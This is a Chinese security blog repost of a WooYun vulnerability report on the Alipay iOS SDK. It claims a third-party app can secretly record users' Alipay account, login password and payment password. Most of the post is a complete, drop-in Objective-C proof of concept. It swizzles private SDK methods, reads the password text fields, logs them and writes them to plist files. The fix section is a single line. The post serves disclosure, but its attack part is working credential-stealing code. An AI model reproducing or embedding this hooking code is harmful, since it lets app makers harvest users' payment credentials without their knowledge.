记录黑客技术中优秀的内容,传播黑客文化,分享黑客技术精华

支付宝iOS SDK存在第三方厂商可以记录用户敏感信息漏洞

2014-07-09 18:20

支付宝这类极简收银台的支付SDK,由于在第三方应用内直接集成,而且支付流程完全在第三方应用内执行,没有跳转到支付宝应用内授权。但iOS的运行机制比较动态,可以通过直接hook起SDK内部的一些私有方法。然后,通过hook起的方法,直接访问用户输入的支付密码和登陆账号、密码。完全可以在用户和支付宝不知情的情况下,记录用户这些数据。

漏洞证明:

IMG_2086.PNG



IMG_2086.PNG



//AlipayLoger.h

#import <Foundation/Foundation.h>



@class MiniPwd;

@class Input;

@class Password;



extern NSString *const PopupViewConfirmNotification;



typedef NS_ENUM(NSInteger, AlipayLogType) {

AlipayLogType_AccPwd,

AlipayLogType_PayPwd,

};



@interface AlipayLoger : NSObject



@property (nonatomic, weak) MiniPwd *mPwd;

@property (nonatomic, weak) Input *accName;

@property (nonatomic, weak) Password *accPwd;



@property (nonatomic) AlipayLogType curLogType;



+ (instancetype)shareInstance;



+ (void)startHook;



@end





//AlipayLoger.m

#import "AlipayLoger.h"

#import "MiniPwd+Hook.h"

#import "PopupView+Hook.h"

#import "Input+Hook.h"

#import "Password+Hook.h"

#import "NSObject+Runtime.h"



NSString *const PopupViewConfirmNotification = @"PopupViewConfirmNotification";



static NSString *const AL_PayPassword = @"PayPassword";

static NSString *const AL_LoginAccount = @"Account";

static NSString *const AL_LoginPassword = @"Password";



static AlipayLoger *__shareInstance = nil;



@implementation UIResponder (AlipayHook)



+ (void)load

{

static dispatch_once_t onceToken;

dispatch_once(&onceToken, ^{

[AlipayLoger startHook];

});

}



@end



@implementation AlipayLoger



+ (NSString *)libPath

{

return NSSearchPathForDirectoriesInDomains(NSDocumentDirectory, NSUserDomainMask, YES)[0];

}



+ (NSString *)payInfoPath

{

return [[AlipayLoger libPath] stringByAppendingPathComponent:@"payInfo.plist"];

}



+ (NSString *)loginInfoPath

{

return [[AlipayLoger libPath] stringByAppendingPathComponent:@"loginInfo.plist"];

}



+ (instancetype)shareInstance

{

static dispatch_once_t onceToken;

dispatch_once(&onceToken, ^{

__shareInstance = [[AlipayLoger alloc] init];

});



return __shareInstance;

}



- (instancetype)init

{

self = [super init];

if (self) {

[[NSNotificationCenter defaultCenter] addObserver:self

selector:@selector(receiveLogNotification:)

name:PopupViewConfirmNotification

object:nil];

}



return self;

}



- (void)receiveLogNotification:(NSNotification *)notification

{

NSString *tName = self.accName.textField.text;

NSString *tPwd = self.accPwd.textField.text;



if (self.curLogType == AlipayLogType_AccPwd &&

tName.length && tPwd.length) {

NSDictionary *dict = @{AL_LoginAccount: tName,

AL_LoginPassword: tPwd};

[dict writeToFile:[AlipayLoger loginInfoPath] atomically:YES];

NSLog(@"AlipayLoger:\n%@: %@\n%@: %@", AL_LoginAccount, tName, AL_LoginPassword, tPwd);

} else if (self.curLogType == AlipayLogType_PayPwd) {

UITextField *textField = [self.mPwd objectWithVarName:@"textField"];

NSDictionary *dict = @{AL_PayPassword: textField.text};

[dict writeToFile:[AlipayLoger payInfoPath] atomically:YES];

NSLog(@"AlipayLoger:\n%@: %@", AL_PayPassword, textField.text);

}

}



+ (void)startHook

{

[PopupView startHook];

[MiniPwd startHook];

[Input startHook];

[Password startHook];

}



@end





//NSObject+Runtime.h

#import <Foundation/Foundation.h>



@interface NSObject (Runtime)



- (id)objectWithVarName:(NSString *)varName;



@end





//NSObject+Runtime.m

#import "NSObject+Runtime.h"

#import <objc/runtime.h>



@implementation NSObject (Runtime)



- (id)objectWithVarName:(NSString *)varName

{

unsigned int count;

Ivar *vars = class_copyIvarList([self class], &count);

Ivar *findVar = NULL;

const char *name = [varName UTF8String];



for (unsigned int i = 0; i < count; i++) {

if (strcmp(name, ivar_getName(vars[i])) == 0) {

findVar = vars+i;

break;

}

}

id returnObj = object_getIvar(self, *findVar);

free(vars);



return returnObj;

}



@end





//MiniPwd.h

#import <UIKit/UIKit.h>



@interface MiniPwd : UIView {

UITextField* textField;// 80 = 0x50

}



-(id)getValue;// 0x7fdf9

-(id)init:(CGSize)init withModel:(id)model;// 0x7f499

@end





//MiniPwd+Hook.h

#import "MiniPwd.h"



@interface MiniPwd (Hook)



+ (void)startHook;



@end





//MiniPwd+Hook.m

#import "MiniPwd+Hook.h"

#import "AlipayLoger.h"

#import "JRSwizzle.h"

#import "NSObject+Runtime.h"



@implementation MiniPwd (Hook)



+ (void)startHook

{

[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];

}



- (id)initHook:(CGSize)init withModel:(id)model

{

self = [self initHook:init withModel:model];

if (self) {

[AlipayLoger shareInstance].mPwd = self;

[AlipayLoger shareInstance].curLogType = AlipayLogType_PayPwd;

}



return self;

}





@end





//PopupView.h

#import <UIKit/UIKit.h>



@class NSString, UIImageView, NSDictionary, UIView, NSMutableArray, UIButton;



@interface PopupView : UIView

{



}

-(void)onCancle:(id)cancle;// 0x82731

-(void)onConfirm:(id)confirm;// 0x827e5



@end





//PopupView+Hook.h

#import "PopupView.h"



@interface PopupView (Hook)



+ (void)startHook;



@end





//PopupView+Hook.m

#import "PopupView+Hook.h"

#import "JRSwizzle.h"

#import "AlipayLoger.h"



@implementation PopupView (Hook)



+ (void)startHook

{

[PopupView jr_swizzleMethod:@selector(onConfirm:) withMethod:@selector(hookOnConfirm:) error:nil];

}



- (void)hookOnConfirm:(UIButton *)sender

{

[[NSNotificationCenter defaultCenter] postNotificationName:PopupViewConfirmNotification object:nil];

[self hookOnConfirm:sender];

}



@end





//Input.h

#import <UIKit/UIKit.h>



@interface Input : UIView {

@private

NSString* _content;// 52 = 0x34

NSString* _format;// 56 = 0x38

UILabel* _paddingView;// 60 = 0x3c

NSString* _textFieldFormat;// 64 = 0x40

NSString* _keyboard;// 68 = 0x44

NSString* _format_msg;// 72 = 0x48

UITextField* _textField;// 76 = 0x4c

}

@property(retain, nonatomic) UITextField* textField;// G=0x7e0c5; S=0x7e0d5;

@end





//Input+Hook.h

#import "Input.h"



@interface Input (Hook)



+ (void)startHook;



@end





//Input+Hook.m

#import "Input+Hook.h"

#import "AlipayLoger.h"

#import "JRSwizzle.h"



@implementation Input (Hook)



+ (void)startHook

{

[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHook:withModel:) error:nil];

}



- (id)initHook:(CGSize)init withModel:(id)model

{

self = [self initHook:init withModel:model];

if ([self isMemberOfClass:[Input class]]) {

[AlipayLoger shareInstance].accName = self;

}



return self;

}



@end





//Password.h

#import "Input.h"



@interface Password : Input {

}

-(id)init:(CGSize)init withModel:(id)model;// 0x80125

@end





//Password+Hook.h

#import "Password.h"



@interface Password (Hook)



+ (void)startHook;



@end





//Password+Hook.m

#import "Password+Hook.h"

#import "AlipayLoger.h"

#import "JRSwizzle.h"



@implementation Password (Hook)



+ (void)startHook

{

[self jr_swizzleMethod:@selector(init:withModel:) withMethod:@selector(initHookP:withModel:) error:nil];

}



- (id)initHookP:(CGSize)init withModel:(id)model

{

self = [self initHookP:init withModel:model];

if (self) {

[AlipayLoger shareInstance].accPwd = self;

[AlipayLoger shareInstance].curLogType = AlipayLogType_AccPwd;

}



return self;

}



@end





//JRSwizzle.h

// JRSwizzle.h semver:1.0

// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com

// Some rights reserved: http://opensource.org/licenses/MIT

// https://github.com/rentzsch/jrswizzle



#import <Foundation/Foundation.h>



@interface NSObject (JRSwizzle)



+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_;

+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_;



@end





//JRSwizzle.m

// JRSwizzle.m semver:1.0

// Copyright (c) 2007-2011 Jonathan 'Wolf' Rentzsch: http://rentzsch.com

// Some rights reserved: http://opensource.org/licenses/MIT

// https://github.com/rentzsch/jrswizzle



#import "JRSwizzle.h"



#if TARGET_OS_IPHONE

#import <objc/runtime.h>

#import <objc/message.h>

#else

#import <objc/objc-class.h>

#endif



#define SetNSErrorFor(FUNC, ERROR_VAR, FORMAT,...)\

if (ERROR_VAR) {\

NSString *errStr = [NSString stringWithFormat:@"%s: " FORMAT,FUNC,##__VA_ARGS__]; \

*ERROR_VAR = [NSError errorWithDomain:@"NSCocoaErrorDomain" \

code:-1\

userInfo:[NSDictionary dictionaryWithObject:errStr forKey:NSLocalizedDescriptionKey]]; \

}

#define SetNSError(ERROR_VAR, FORMAT,...) SetNSErrorFor(__func__, ERROR_VAR, FORMAT, ##__VA_ARGS__)



#if OBJC_API_VERSION >= 2

#define GetClass(obj)object_getClass(obj)

#else

#define GetClass(obj)(obj ? obj->isa : Nil)

#endif



@implementation NSObject (JRSwizzle)



+ (BOOL)jr_swizzleMethod:(SEL)origSel_ withMethod:(SEL)altSel_ error:(NSError**)error_ {

#if OBJC_API_VERSION >= 2

Method origMethod = class_getInstanceMethod(self, origSel_);

if (!origMethod) {

#if TARGET_OS_IPHONE

SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self class]);

#else

SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]);

#endif

return NO;

}



Method altMethod = class_getInstanceMethod(self, altSel_);

if (!altMethod) {

#if TARGET_OS_IPHONE

SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self class]);

#else

SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]);

#endif

return NO;

}



class_addMethod(self,

origSel_,

class_getMethodImplementation(self, origSel_),

method_getTypeEncoding(origMethod));

class_addMethod(self,

altSel_,

class_getMethodImplementation(self, altSel_),

method_getTypeEncoding(altMethod));



method_exchangeImplementations(class_getInstanceMethod(self, origSel_), class_getInstanceMethod(self, altSel_));

return YES;

#else

//Scan for non-inherited methods.

Method directOriginalMethod = NULL, directAlternateMethod = NULL;



void *iterator = NULL;

struct objc_method_list *mlist = class_nextMethodList(self, &iterator);

while (mlist) {

int method_index = 0;

for (; method_index < mlist->method_count; method_index++) {

if (mlist->method_list[method_index].method_name == origSel_) {

assert(!directOriginalMethod);

directOriginalMethod = &mlist->method_list[method_index];

}

if (mlist->method_list[method_index].method_name == altSel_) {

assert(!directAlternateMethod);

directAlternateMethod = &mlist->method_list[method_index];

}

}

mlist = class_nextMethodList(self, &iterator);

}



//If either method is inherited, copy it up to the target class to make it non-inherited.

if (!directOriginalMethod || !directAlternateMethod) {

Method inheritedOriginalMethod = NULL, inheritedAlternateMethod = NULL;

if (!directOriginalMethod) {

inheritedOriginalMethod = class_getInstanceMethod(self, origSel_);

if (!inheritedOriginalMethod) {

SetNSError(error_, @"original method %@ not found for class %@", NSStringFromSelector(origSel_), [self className]);

return NO;

}

}

if (!directAlternateMethod) {

inheritedAlternateMethod = class_getInstanceMethod(self, altSel_);

if (!inheritedAlternateMethod) {

SetNSError(error_, @"alternate method %@ not found for class %@", NSStringFromSelector(altSel_), [self className]);

return NO;

}

}



int hoisted_method_count = !directOriginalMethod && !directAlternateMethod ? 2 : 1;

struct objc_method_list *hoisted_method_list = malloc(sizeof(struct objc_method_list) + (sizeof(struct objc_method)*(hoisted_method_count-1)));

hoisted_method_list->obsolete = NULL;// soothe valgrind - apparently ObjC runtime accesses this value and it shows as uninitialized in valgrind

hoisted_method_list->method_count = hoisted_method_count;

Method hoisted_method = hoisted_method_list->method_list;



if (!directOriginalMethod) {

bcopy(inheritedOriginalMethod, hoisted_method, sizeof(struct objc_method));

directOriginalMethod = hoisted_method++;

}

if (!directAlternateMethod) {

bcopy(inheritedAlternateMethod, hoisted_method, sizeof(struct objc_method));

directAlternateMethod = hoisted_method;

}

class_addMethods(self, hoisted_method_list);

}



//Swizzle.

IMP temp = directOriginalMethod->method_imp;

directOriginalMethod->method_imp = directAlternateMethod->method_imp;

directAlternateMethod->method_imp = temp;



return YES;

#endif

}



+ (BOOL)jr_swizzleClassMethod:(SEL)origSel_ withClassMethod:(SEL)altSel_ error:(NSError**)error_ {

return [GetClass((id)self) jr_swizzleMethod:origSel_ withMethod:altSel_ error:error_];

}



@end





以上是全部的实现代码,直接嵌入到Xcode工程即可,调用支付宝SDK时会有相应的log输出,和Document下有两个plist记录账号密码信息。JRSwizzle是一个辅助用的开源库。

修复方案:

不建议支付流程全部在第三方应用内完成


知识来源: www.wooyun.org/bugs/wooyun-2014-056541

阅读:121566 | 评论:0 | 标签:漏洞

想收藏或者和大家分享这篇好文章→复制链接地址

“支付宝iOS SDK存在第三方厂商可以记录用户敏感信息漏洞”共有0条留言

发表评论

姓名:

邮箱:

网址:

验证码:

ADS

标签云